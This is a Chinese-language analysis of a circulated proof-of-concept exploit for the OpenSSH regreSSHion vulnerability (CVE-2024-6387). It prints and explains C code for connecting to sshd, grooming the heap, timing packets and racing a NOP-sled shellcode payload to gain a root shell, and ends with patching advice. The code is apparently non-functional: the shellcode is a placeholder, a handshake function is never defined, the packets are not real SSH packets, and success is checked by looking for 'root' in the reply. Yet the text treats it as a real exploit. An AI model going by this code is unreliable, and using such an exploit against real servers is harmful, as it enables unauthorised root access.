一、網傳漏洞POC信息
漏洞編號:CVE-2024-6387
漏洞名稱:OpenSSH regreSSHion 漏洞
POC上傳者(作者不確定):7etsuo
發布日期:2024-07-01
漏洞類型:遠程代碼執行(RCE)
影響范圍:8.5p1 <= OpenSSH < 9.8p1,OpenBSD系統不受該漏洞影響
二、漏洞描述
CVE-2024-6387 是OpenSSH中的一個漏洞,它利用了OpenSSH服務器(sshd)在glibc庫中的一個信號處理程序中的競態條件漏洞。具體來說,當SIGALRM信號處理程序調用了異步信號不安全的函數時,導致了遠程代碼執行(RCE)的可能性。攻擊者可以利用此漏洞在目標系統上以root權限執行任意代碼。
成功利用該漏洞的攻擊者可以以 root 身份進行未經身份驗證的遠程代碼執行 (RCE),在某些特定版本的 32 位操作系統上,攻擊者最短需 6-8 小時即可獲得最高權限的 root shell。而在 64 位機器上,目前沒有在可接受時間內的利用方案,但未來的改進可能使其成為現實。
三、漏洞原理
該漏洞的根源在于OpenSSH服務器的SIGALRM信號處理程序中的異步信號不安全函數調用。攻擊者通過精確的時間控制和多次嘗試,觸發了競態條件,從而在系統中執行了惡意代碼。具體來說,攻擊者利用了信號處理程序在處理信號時的脆弱性,通過精確調整休眠時間和發送特制的payload,最終繞過了安全保護機制,實現了遠程代碼執行。這種競態條件利用需要多次嘗試和精確的時間控制,以確保在正確的時間窗口內觸發漏洞。
網傳備注:盡管通過Qualys測試這個漏洞利用的效果看起來非常麻煩:在本地虛擬機環境“平均需要嘗試約10,000次才能成功,約需3-4小時,而由于ASLR,每次實驗成功率只有一半,因此平均需要6-8小時才能獲得遠程root shell”。
四、利用代碼分析
1. 文件頭部注釋
/** 7etsuo-regreSSHion.c * ------------------------------------------------------------------------- * SSH-2.0-OpenSSH_9.2p1 Exploit * ------------------------------------------------------------------------- * * Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion) * Author : 7etsuo * Date : 2024-07-01 * * Description: * Targets a signal handler race condition in OpenSSH's * server (sshd) on glibc-based Linux systems. It exploits a vulnerability * where the SIGALRM handler calls async-signal-unsafe functions, leading * to rce as root. * * Notes: * 1. Shellcode : Replace placeholder with actual payload. * 2. GLIBC_BASES : Needs adjustment for specific target systems. * 3. Timing parameters: Fine-tune based on target system responsiveness. * 4. Heap layout : Requires tweaking for different OpenSSH versions. * 5. File structure offsets: Verify for the specific glibc version. * ------------------------------------------------------------------------- */
文件頭部詳細描述了漏洞的基本信息,包括漏洞編號、漏洞名稱、作者、發布日期、漏洞類型和影響范圍。同時,還對漏洞的原理和利用方法進行了簡要說明。
2. 包含的頭文件
#include <stdlib.h>#include <unistd.h>#include <time.h>#include <string.h>#include <errno.h>#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>
這些頭文件包含了標準庫函數和網絡編程所需的函數和類型,如 socket、connect、send 等。
3. 定義宏和全局變量
#define MAX_PACKET_SIZE (256 * 1024)#define LOGIN_GRACE_TIME 120#define MAX_STARTUPS 100#define CHUNK_ALIGN(s) (((s) + 15) & ~15)// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);// Shellcode placeholder (replace with actual shellcode)unsigned char shellcode[] = "\\x90\\x90\\x90\\x90";
MAX_PACKET_SIZE:定義最大數據包大小為256KB。LOGIN_GRACE_TIME:定義登錄寬限時間為120秒。MAX_STARTUPS:定義最大啟動數為100。CHUNK_ALIGN:定義一個宏用于內存對齊。GLIBC_BASES:定義可能的glibc基地址,用于繞過ASLR(地址空間布局隨機化)。shellcode:定義一個占位符shellcode,需要替換為實際的payload。
4. 函數聲明
int setup_connection (const char *ip, int port);void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len);void prepare_heap (int sock);void time_final_packet (int sock, double *parsing_time);int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base);
這些是函數的前向聲明,用于后續的函數定義。它們分別用于設置連接、發送數據包、準備堆、測量數據包解析時間和嘗試利用競態條件。
5. 函數實現
5.1 設置連接
int setup_connection (const char *ip, int port){ int sock; struct sockaddr_in server_addr;sock = socket (AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror ("socket"); return -1; }server_addr.sin_family = AF_INET; server_addr.sin_port = htons (port); server_addr.sin_addr.s_addr = inet_addr (ip);if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0) { perror ("connect"); close (sock); return -1; }return sock;}
這個函數用于創建一個TCP連接到目標IP和端口。具體步驟如下:
創建一個TCP socket。
設置服務器地址,包括IP和端口。
嘗試連接到服務器,如果失敗則返回錯誤。
5.2 發送數據包
void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len){ unsigned char buffer[MAX_PACKET_SIZE]; memset (buffer, 0, sizeof (buffer)); buffer[0] = packet_type; memcpy (buffer + 1, data, len); send (sock, buffer, len + 1, 0);}
這個函數用于通過socket發送一個數據包。具體步驟如下:
定義一個緩沖區,并清零。
將數據包類型放入緩沖區的第一個字節。
將數據復制到緩沖區中。
通過socket發送緩沖區的數據。
5.3 準備堆
void prepare_heap (int sock){ unsigned char buf[MAX_PACKET_SIZE]; memset(buf, 0x41, sizeof(buf)); // 填充緩沖區,模擬堆布局 send_packet(sock, 0, buf, sizeof(buf)); // 發送填充數據包}
這個函數的作用是通過發送大量填充數據包來準備堆布局。代碼中的實現通過將緩沖區填充為特定字符(0x41)并發送數據包來達到這個目的。這有助于在目標系統上觸發特定的內存布局,以便后續的競態條件利用能夠成功。
5.4 測量數據包解析時間
void time_final_packet (int sock, double *parsing_time){ struct timespec start, end; unsigned char buf[256]; memset(buf, 0, sizeof(buf));clock_gettime(CLOCK_MONOTONIC, &start); // 記錄開始時間 send_packet(sock, 1, buf, sizeof(buf)); // 發送一個小數據包 recv(sock, buf, sizeof(buf), 0); // 接收服務器的響應 clock_gettime(CLOCK_MONOTONIC, &end); // 記錄結束時間*parsing_time = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1000000000.0; // 計算解析時間}
這個函數用于測量最后一個數據包的解析時間。通過記錄發送和接收數據包的時間差,確定數據包的解析時間。這對于競態條件利用非常關鍵,因為攻擊者需要精確控制時間來觸發漏洞。
5.5 嘗試利用競態條件詳細分析
這個函數 attempt_race_condition 試圖利用競態條件來觸發漏洞,實現遠程代碼執行。下面是對該函數的詳細分析:
int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base){ struct timespec req, rem; unsigned char payload[256];// 創建包含shellcode的payload memset(payload, 0x90, sizeof(payload)); // 填充NOP指令 memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcodereq.tv_sec = (time_t)parsing_time; req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;nanosleep(&req, &rem); // 休眠以精確控制時間send_packet(sock, 2, payload, sizeof(payload)); // 發送包含shellcode的payload// 驗證是否成功 if (recv(sock, payload, sizeof(payload), 0) > 0) { if (strstr((char *)payload, "root") != NULL) return 1; // 成功 }return 0; // 失敗}
詳細解釋
定義和初始化變量
struct timespec req, rem;unsigned char payload[256];
req 和 rem 是 timespec 結構體,用于指定和保存休眠時間。payload 是一個 256 字節的緩沖區,用于存放惡意負載數據。
創建包含shellcode的payload
memset(payload, 0x90, sizeof(payload)); // 填充NOP指令memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcodememset(payload, 0x90, sizeof(payload));:使用 0x90 (NOP 指令) 填充整個緩沖區。NOP 指令不會執行任何操作,只是繼續執行下一條指令。這種填充方式稱為 NOP sled,用于確保在代碼執行過程中滑向實際的 shellcode。memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode));:將實際的 shellcode 插入到緩沖區的末尾。
計算并設置休眠時間
req.tv_sec = (time_t)parsing_time;req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;req.tv_sec:將 parsing_time 轉換為秒部分。req.tv_nsec:將 parsing_time 的小數部分轉換為納秒。
休眠以精確控制時間
nanosleep(&req, &rem); // 休眠以精確控制時間nanosleep(&req, &rem);:使用納秒級的精確度休眠指定的時間。這對于利用競態條件非常關鍵,因為攻擊者需要在正確的時間窗口內執行惡意代碼。
發送包含shellcode的payload
send_packet(sock, 2, payload, sizeof(payload)); // 發送包含shellcode的payloadsend_packet(sock, 2, payload, sizeof(payload));:通過 socket 發送包含 shellcode 的數據包。
驗證是否成功
if (recv(sock, payload, sizeof(payload), 0) > 0) { if (strstr((char *)payload, "root") != NULL) return 1; // 成功 }return 0; // 失敗recv(sock, payload, sizeof(payload), 0) > 0:嘗試從目標系統接收響應數據。如果接收到的數據長度大于 0,表示目標系統有響應。if (strstr((char *)payload, "root") != NULL):檢查接收到的數據是否包含 "root" 字符串。如果包含,表示成功獲得目標系統的 root 權限,返回 1。
如果沒有接收到包含 “root” 字符串的響應,則返回 0,表示嘗試失敗。
6. 漏洞利用主函數
int perform_exploit (const char *ip, int port){ int success = 0; double parsing_time = 0; double timing_adjustment = 0;for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++) { uint64_t glibc_base = GLIBC_BASES[base_idx]; printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);for (int attempt = 0; attempt < 10000 && !success; attempt++) { if (attempt % 1000 == 0) { printf ("Attempt %d of 10000\n", attempt); }int sock = setup_connection (ip, port); if (sock < 0) { fprintf (stderr, "Failed to establish connection, attempt %d\n", attempt); continue; }if (perform_ssh_handshake (sock) < 0) { fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt); close (sock); continue; }prepare_heap (sock); time_final_packet (sock, &parsing_time);parsing_time += timing_adjustment;if (attempt_race_condition (sock, parsing_time, glibc_base)) { printf ("Possible exploitation success on attempt %d with glibc base 0x%lx!\n", attempt, glibc_base); success = 1; } else { timing_adjustment += 0.00001; }close (sock); usleep (100000); // 100ms delay between attempts } }return success;}
這個主函數是整個漏洞利用的核心部分。它執行以下步驟:
初始化變量 success、parsing_time 和 timing_adjustment。
循環遍歷可能的glibc基地址。
對每個基地址進行多次嘗試,每次嘗試時:
設置與目標的連接。
執行SSH握手。
準備堆布局。
測量最后一個數據包的解析時間。
嘗試利用競態條件。
如果成功,打印成功信息并退出循環;否則,調整定時參數并繼續嘗試。
通過這種方法,攻擊者能夠逐步調整定時參數和嘗試不同的glibc基地址,以期成功利用漏洞并獲得目標系統的控制權。
五、漏洞修復建議
更新軟件:及時更新OpenSSH到最新版本,包含所有安全補丁。
監控日志:定期檢查系統日志,發現異常登錄或訪問行為。
最小權限:確保系統上的服務運行在最小權限用戶下,降低潛在風險。
六、參考文檔
https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
https://mp.weixin.qq.com/s/yptQH9xo5d8Acjw29B_kmg